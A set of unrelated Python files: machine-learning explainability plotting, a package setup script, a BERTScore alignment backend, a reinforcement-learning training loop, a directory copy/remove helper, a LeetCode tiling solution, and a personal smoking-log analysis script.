def get_top_features(mean_absolute_contributions, n_top, extra_features, extra_feat_start, label, mode="default"):
    def index_to_string(result, extra_feat_start, extra_features, extra_only):
        if extra_only:
            feat_string = extra_features[result]
        else:
            if result>=extra_feat_start:
                feat_index = result - extra_feat_start
                feat_string = extra_features[feat_index]
            else:
                feat_string = f"timestep_{result}"
        return feat_string

    if mode == "extra_only":
        feat_impt = mean_absolute_contributions[extra_feat_start:]
        extra_only = True
    elif mode == "ts_only":
        feat_impt = mean_absolute_contributions[:extra_feat_start]
        extra_only = False
    elif mode=="default":
        feat_impt = mean_absolute_contributions
        extra_only=False

    ind = np.argpartition(feat_impt, -n_top)[-n_top:]
    top_sorted = ind[np.argsort(feat_impt[ind])] #top to bottom

    top_features = {
        "index": top_sorted,
        "value": feat_impt[top_sorted]
    }

    top_features["index_string"] = [index_to_string(feat, extra_feat_start, extra_features, extra_only) for feat in top_features["index"]]

    undefined_counter = 0
    for index, i in enumerate(top_sorted):
        if top_features["value"][index] == 0:
            undefined_counter += 1
            top_features["index_string"][index] = f"zero_{undefined_counter}"

    top_features["label"] = label
    return top_features

def plot_top_features(features_list, class_config, save_dir, model, mode):
    rows = len(features_list)
    fig, axs = plt.subplots(rows, 1, figsize=(15,10))
    for index, top_features in enumerate(features_list):
        axs[index].barh(top_features["index_string"], top_features["value"])
        axs[index].set_ylabel(top_features["label"])

    plt.tight_layout()
    fig.savefig(f"{save_dir}/{class_config['DATASET']}_barplots_{model}_{mode}")

def plot_xgb(train_x, class_config, class_model, save_dir, extra_features, n_top = 10, fontsize = 20, tick_fontsize=18):
    shap_explainer = SHAPExplainer(class_config, class_model)
    shap_explainer.compute_contributions(train_x, method_name='treeshap')
    feat_explainer = FeatImpExplainer(class_config, class_model)
    feat_explainer.compute_contributions()
    feat_imps = feat_explainer.feat_imps
    shap_val, shap_samples = shap_explainer.contributions

    feat_impt_dict = {
        "treeshap": shap_val,
        "feat_imp": feat_imps
    }

    with open(f"{save_dir}/{class_config['DATASET']}_xgb_xai_dict.p", "wb") as f:
        pickle.dump(feat_impt_dict, f)

    history_size = shap_samples.shape[1]
    x_range = list(range(0, history_size))
    x_ticks = list(range(0, history_size))

    global_shap_vals = np.abs(shap_val).sum(axis=0).sum(axis=0)

    fig, axs = plt.subplots(3,1, sharex="row", figsize=(15,15))

    plt.xticks(x_range, x_ticks)
    plt.locator_params(axis='x', nbins=10) # is 10 good for any scenario
    for index, i in enumerate(axs):
        axs[index].tick_params(axis='both', which='major', labelsize=tick_fontsize)

    axs[0].plot(global_shap_vals, "r")
    axs[0].set_ylabel("TreeSHAP", fontsize = fontsize)
    axs[2].plot(feat_imps, "b")
    axs[2].set_ylabel("Tree feature importance",  fontsize = fontsize)
    axs[1].set_ylabel("Feature values",  fontsize = fontsize)
    for sample in shap_samples[:20]:
        axs[1].plot(sample, "k-", alpha=.2)

    plt.tight_layout()
    fig.savefig(f"{save_dir}/{class_config['DATASET']}_xgb_shap_feat.pdf", format="pdf")

    modes = ["default", "extra_only", "ts_only"]
    extra_feat_start = class_config["HISTORY_SIZE"] - extra_features.shape[0]
    for mode in modes:
        shap_features = get_top_features(global_shap_vals, n_top, extra_features, extra_feat_start, label="shap", mode=mode)
        feat_imp_features = get_top_features(feat_imps, n_top, extra_features, extra_feat_start, label="feat_imp", mode=mode)
        features_list = [shap_features, feat_imp_features]
        plot_top_features(features_list, class_config, save_dir, model="xgb", mode=mode)

def plot_fcn(train_x, train_y, class_config, class_model, save_dir, extra_features, n_top = 10, fontsize = 20, tick_fontsize=18):
    pred_y = class_model.predict(train_x).argmax(axis=1)
    y_pred = pred_y
    labels = np.unique(y_pred)

    cam_explainer = CAMExplainer(class_config, class_model)
    cam_explainer.compute_contributions(train_x)
    shap_explainer = SHAPExplainer(class_config, class_model)
    shap_explainer.compute_contributions(train_x, method_name='gradshap')
    shap_val, shap_samples = shap_explainer.contributions
    cam_val, cam_samples = cam_explainer.contributions

    feat_impt_dict = {
        "gradshap": shap_val,
        "gradcam": cam_val
    }

    with open(f"{save_dir}/{class_config['DATASET']}_fcn_xai_dict.p", "wb") as f:
        pickle.dump(feat_impt_dict, f)

    print(f"shap val shape: {shap_val.shape}")
    print(f"cam val shape: {cam_val.shape}")
    global_shap_vals = normalize_data(np.abs(shap_val).sum(axis=0).sum(axis=0))
    global_cam_vals = normalize_data(np.abs(cam_val).sum(axis=0))

    pred_y = class_model.predict(train_x).argmax(axis=1)
    history_size = shap_samples.shape[1]
    x_range = list(range(0, history_size))

    y_true = train_y
    n_samples = class_config["PLOT_MAX_SAMPLES"]

    extra_feat_start = class_config["HISTORY_SIZE"] - extra_features.shape[0]

    indi_list = [None, True]

    modes = ["default", "extra_only", "ts_only"]
    for mode in modes:
        gradshap_top_features = get_top_features(global_shap_vals, n_top, extra_features, extra_feat_start, label="gradshap", mode=mode)
        cam_top_features = get_top_features(global_cam_vals, n_top, extra_features, extra_feat_start, label="cam", mode=mode)
        features_list = [cam_top_features, gradshap_top_features]
        plot_top_features(features_list, class_config, save_dir, model="fcn", mode=mode)

    for label in labels:
        # go by cluster
        # print(np.where(y_pred == label))
        label_samples_idxs = list(np.where(y_pred == label)[0])

        for i in label_samples_idxs:
            if y_true[i] != y_pred[i]:
                label_samples_idxs.remove(i)

        label_samples_idxs = np.array(label_samples_idxs)

        if len(label_samples_idxs) != 0:

            sample_contributions = np.abs(shap_val[label, label_samples_idxs])
            # sample_contributions = np.array([normalize_data(sample_contrib) for sample_contrib in sample_contributions])
            mean_absolute_contributions = np.mean(np.abs(sample_contributions), axis=0)

            cam_sample_contributions = np.abs(cam_val.numpy()[label_samples_idxs])
            # cam_sample_contributions = np.array([normalize_data(sample_contrib) for sample_contrib in cam_sample_contributions])
            cam_mean_absolute_contributions = np.mean((cam_sample_contributions), axis=0)

            for plot_individual_samples in indi_list:
                print(f"plot_individual: {plot_individual_samples}")
                fig, axs = plt.subplots(3,1, sharex=True, figsize=(15,15))
                plt.xticks(x_range, x_range)
                plt.locator_params(axis='x', nbins=10) # is 10 good for any scenario

                for index, i in enumerate(axs):
                    axs[index].tick_params(axis='both', which='major', labelsize=tick_fontsize)

                if plot_individual_samples:
                    for sample_contrib in sample_contributions:
                        axs[0].plot(sample_contrib, "k-", alpha=.2)
                    for cam_sample_contrib in cam_sample_contributions:
                        axs[2].plot(cam_sample_contrib, "k-", alpha=.2)

                axs[0].plot(shap_explainer.aggregate_windows(mean_absolute_contributions), "r-")
                axs[0].set_ylabel('GradientSHAP values', fontsize = fontsize)

                axs[2].plot(cam_explainer.aggregate_windows(cam_mean_absolute_contributions), "r-")
                axs[2].set_ylabel('Grad-CAM values', fontsize = fontsize)

                for sample in shap_samples[label_samples_idxs]:
                    axs[1].plot(sample, "k-", alpha=.2)
                axs[1].set_ylabel('Feature values', fontsize = fontsize)

                plt.tight_layout()

                if plot_individual_samples:
                    fig.savefig(f"{save_dir}/{class_config['DATASET']}_samples_fcn_plot_{label}.pdf", format="pdf")
                else:
                    fig.savefig(f"{save_dir}/{class_config['DATASET']}_fcn_plot_{label}.pdf", format = "pdf")


# -*- coding: utf-8 -*-

from setuptools import setup, find_packages

with open('README.rst') as f:
    readme = f.read()

with open('LICENSE') as f:
    license = f.read()

setup(
    name='accounts',
    version='0.1.0',
    description='Manage your accounts on comfortable way',
    long_description=readme,
    author='Chunlin Liu',
    author_email='chunlins@outlook.com',
    url='',
    license=license,
    packages=find_packages(exclude=('tests', 'docs')),
    install_requires=[
        'Click',
    ],
    entry_points="""
        [console_scripts]
        accounts=accounts.interface:accounts
    """,
)


import spacy
from bert_score import create_idf_dict, score
from spacy.tokens import Token
from typing import List, Tuple

from sacrerouge.metrics.interpretable_rouge.backends import Backend

@Backend.register('bertscore-backend')
class BertScoreBackend(Backend):
    def __init__(self, idf: bool):
        self.idf = idf
        self.nlp = spacy.load('en_core_web_sm')

    def _get_summary_strings(self, tokens: List[Token]) -> str:
        return ' '.join(list(map(lambda token: str(token), tokens)))

    def _get_dummy_token(self, text: str):
        doc = self.nlp.tokenizer.tokens_from_list([text])
        return doc[0]

    def get_matches_list(self,
                         summary_tokens_lists: List[List[Token]],
                         reference_tokens_lists: List[List[Token]]):
        summaries_list = [[self._get_summary_strings(summary_tokens) for summary_tokens in summary_tokens_list] for summary_tokens_list in summary_tokens_lists]
        references_list = [[self._get_summary_strings(reference_tokens) for reference_tokens in reference_tokens_list] for reference_tokens_list in reference_tokens_lists]

        if self.idf:
            unique_references = list(set(reference for references in references_list for reference in references))
            idf = create_idf_dict(unique_references, lang='en')
        else:
            idf = False

        input_candidates = []
        input_references = []
        empty_inputs = set()
        for i, (summaries, references) in enumerate(zip(summaries_list, references_list)):
            for j, summary in enumerate(summaries):
                if len(summary) == 0:
                    empty_inputs.add((i, j))
                else:
                    input_candidates.append(summary)
                    input_references.append(references)

        # Score the summaries
        precisions, recalls, f1s, precision_alignments_list, recall_alignments_list, precision_indices, recall_indices, precision_weights, recall_weights \
            = score(input_candidates, input_references,
                    lang='en',
                    idf=idf,
                    return_alignments=True)

        bos = self._get_dummy_token('<s>')
        eos = self._get_dummy_token('</s>')

        index = 0
        output_summary_tokens_list = []
        output_reference_precision_tokens_lists = []
        output_reference_recall_tokens_lists = []
        output_matches_precision_lists = []
        output_matches_recall_lists = []
        output_precision_weights_list = []
        output_recall_weights_lists = []
        for i, (summary_tokens_list, reference_tokens_list) in enumerate(zip(summary_tokens_lists, reference_tokens_lists)):
            for j, summary_tokens in enumerate(summary_tokens_list):
                if (i, j) in empty_inputs:
                    output_summary_tokens_list.append([])
                    output_reference_precision_tokens_lists.append([[]])
                    output_reference_recall_tokens_lists.append([[]])
                    output_matches_precision_lists.append([[]])
                    output_matches_recall_lists.append([[]])
                    output_precision_weights_list.append([])
                    output_recall_weights_lists.append([[]])
                else:
                    # The BertScore tokenizer only allows for 512 subword tokens (including <s> and </s>).
                    # This potentially means we need to truncate input summary
                    p_weight = precision_weights[index]
                    if len(p_weight) < len(summary_tokens) + 2:
                        print(f'Warning: Truncating summary from {len(summary_tokens)} to {len(p_weight) - 2} tokens')
                        summary_tokens = summary_tokens[:len(p_weight) - 2]

                    # The BertScore code adds <s> and </s> tokens to the start and end of the sequence. Some
                    # tokens are aligned to these special tokens. To be faithful to the original code, we allow for this
                    # by adding dummy tokens to the summaries.
                    output_summary_tokens_list.append([bos] + summary_tokens + [eos])

                    precision_index = precision_indices[index]
                    recall_index = recall_indices[index]

                    r_weight = recall_weights[index]
                    recall_reference_tokens = reference_tokens_list[recall_index]
                    if len(r_weight) < len(recall_reference_tokens) + 2:
                        print(f'Warning: Truncating reference from {len(recall_reference_tokens)} to {len(r_weight) - 2} tokens')
                        recall_reference_tokens = recall_reference_tokens[:len(r_weight) - 2]

                    output_reference_precision_tokens_lists.append([[bos] + reference_tokens_list[precision_index] + [eos]])
                    output_reference_recall_tokens_lists.append([[bos] + recall_reference_tokens + [eos]])

                    output_matches_precision_lists.append([precision_alignments_list[index]])
                    output_matches_recall_lists.append([recall_alignments_list[index]])

                    output_precision_weights_list.append(p_weight)
                    output_recall_weights_lists.append([r_weight])

                    index += 1

        return output_summary_tokens_list, output_reference_precision_tokens_lists, output_reference_recall_tokens_lists, \
               output_matches_precision_lists, output_matches_recall_lists, \
               output_precision_weights_list, output_recall_weights_lists

    def get_total_weight(self, matches: List[Tuple[int, int, float]]) -> float:
        unique_matches = set(matches)
        score = sum(weight for _, _, weight in unique_matches)
        return score


import gym
import balancing_robot
from stable_baselines3 import A2C, PPO
from stable_baselines3.common.policies import ActorCriticPolicy

env = gym.make('balancingrobot-v0', render=True)

model = A2C(ActorCriticPolicy, env, verbose=2)
model.learn(total_timesteps=50000)
print(f'Action space: {env.action_space}')
print(f'Obs space: {env.observation_space}')
print(f'Reward space: {env.reward_range}')
env.close()
print("Training FINISHED")
input()
obs = env.reset()
while True:
    action, _states = model.predict(obs, deterministic=True)
    obs, reward, done, info = env.step(action)
    env.render()
    if done:
        input(f'Reward: {reward}')
        obs = env.reset()

env.close()


#! /usr/bin/env python
# encoding: utf-8

import shutil
import stat
import os

def copy_directory(path, to_path):
    shutil.copytree(src=path, dst=to_path, symlinks=True)

def remove_directory(path):
    # Note that shutil.rmtree fails if there are any broken symlinks in that
    # folder, so we use os.walk to traverse the directory tree from the bottom
    # up as recommended here:
    # http://stackoverflow.com/a/2656408

    for root, dirs, files in os.walk(path, topdown=False):
        for name in files:
            filename = os.path.join(root, name)
            if not os.path.islink(filename):
                os.chmod(filename, stat.S_IWUSR)
            os.remove(filename)
        for name in dirs:
            dir = os.path.join(root, name)
            if os.path.islink(dir):
                os.unlink(dir)
            else:
                os.rmdir(dir)

    os.rmdir(path)


###  KNOWLEDGE IS POWER  ###

class Solution(object):
    def numTilings(self, n):
        """
        :type n: int
        :rtype: int
        """
        mod = 10 ** 9 + 7
        dp = [0 for _ in range(n + 5)]
        dp[1] = 1
        dp[2] = 2
        dp[3] = 5
        for i in range(4 , n + 1):
            dp[i] = ((2*dp[i-1])%mod) + dp[i-3]
            dp[i] %= mod
        return dp[n]

LeetCode/790. Domino and Tromino Tiling.py


from datetime import datetime, timedelta
import numpy as np
from openpyxl import load_workbook
import matplotlib
import matplotlib.pyplot as plt
from matplotlib.ticker import MultipleLocator
#import matplotlib.dates as dates

import WorkbookLoaders as wl
import SmokeAndSleep as sas

from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()

print(matplotlib.matplotlib_fname())

# max time between smokes to break a binge (seconds)
#time_limit = timedelta(0, 240 * 60)
time_limit = timedelta(0, 120 * 60)
# The number of consecutive smokes in the time limit to count as a binge
min_binge_length = 3

sleepTimes, smokeTimes, smokes, potSmokeTimes, potSmokes = wl.loadWorkbooks(wl.logSet)

# Smoke logging started in earnest 2017-03-25  22:27:18
for i in range(0, len(smokeTimes)):
  if smokeTimes[i] > datetime(2017, 3, 25):
    lastSmoke = smokeTimes[i]
    i_start = i
    break

#lastSmoke = smokeTimes[0]
currBinge = list()
binges = list()
bingeDurations= list()
smokeIntervalsWithinBinge = list()
smokeCountsWithinBinge = list()
for i in range(i_start, len(smokeTimes)):
#for i in range(0, 10):
  if smokeTimes[i] - lastSmoke < time_limit:
    currBinge.append(smokeTimes[i])
    lastSmoke = smokeTimes[i]
  else:
    if len(currBinge) >= min_binge_length:
      binges.append(currBinge)
      bingeDurations.append((currBinge[-1] - currBinge[0]).total_seconds() / (60 * 60))
      for i in range(1, len(currBinge)):
        smokeIntervalsWithinBinge.append((currBinge[i] - currBinge[i - 1]).total_seconds() / 60)
      smokeCountsWithinBinge.append(len(currBinge))
    currBinge = list()
    currBinge.append(smokeTimes[i])
    lastSmoke = smokeTimes[i]

print("Binges: ", len(binges))

# for binge in binges:
#   print("binge: ", binge)

bingeMedian = np.median(bingeDurations)
bingeMean = np.mean(bingeDurations)
print("len(bingeDurations): ", len(bingeDurations))
print("binge duration median (hours)", bingeMedian)
print("binge duration mean (hours)", bingeMean)

intervalMean = np.mean(smokeIntervalsWithinBinge)
print("intervalMean (minutes)", intervalMean)

countMean = np.mean(smokeCountsWithinBinge)
print("countMean", countMean)

# for bingeDuration in bingeDurations:
#   print("binge duration: ", bingeDuration)

n, bins, patches = plt.hist(bingeDurations, 200,
            label=
            "{} Total Binges ({}+ fixes with < {} min between)\nMean binge duration: {} hours \nMean time between Fixes: {} minutes \nMean # of Fixes/Binge: {}".
              format(len(bingeDurations), min_binge_length, int(time_limit.total_seconds()/60),
                    round(bingeMean, 1), round(intervalMean, 1), round(countMean, 1)))

print("bin size: ", bins[1] - bins[0])

#plt.xlim(xmin=0, xmax=bins[-1])
plt.xlim(xmin=0)

ax = plt.gca()
#ax.grid(b=True, which=u'both', axis="x", color='k', linestyle='-.')

majorLocator = MultipleLocator(1)
ax.xaxis.set_major_locator(majorLocator)

plt.suptitle("Binge Durations ({} total binges)".format(len(bingeDurations)), fontsize=16)
plt.title(r"For the $\bf%s$ day period: $\bf%s$ to $\bf%s$" % ((int((smokeTimes[-1] - smokeTimes[i_start]).total_seconds() / (60 * 60 * 24))),
           smokeTimes[i_start].strftime("%Y-%m-%d"), smokeTimes[-1].strftime("%Y-%m-%d")))

plt.xlabel("Binge Duration (hours)")
plt.ylabel("Count")

plt.legend()

plt.savefig("Binges %s to %s.png" % (smokeTimes[0].strftime("%Y-%m-%d"), smokeTimes[-1].strftime("%Y-%m-%d")))

plt.show()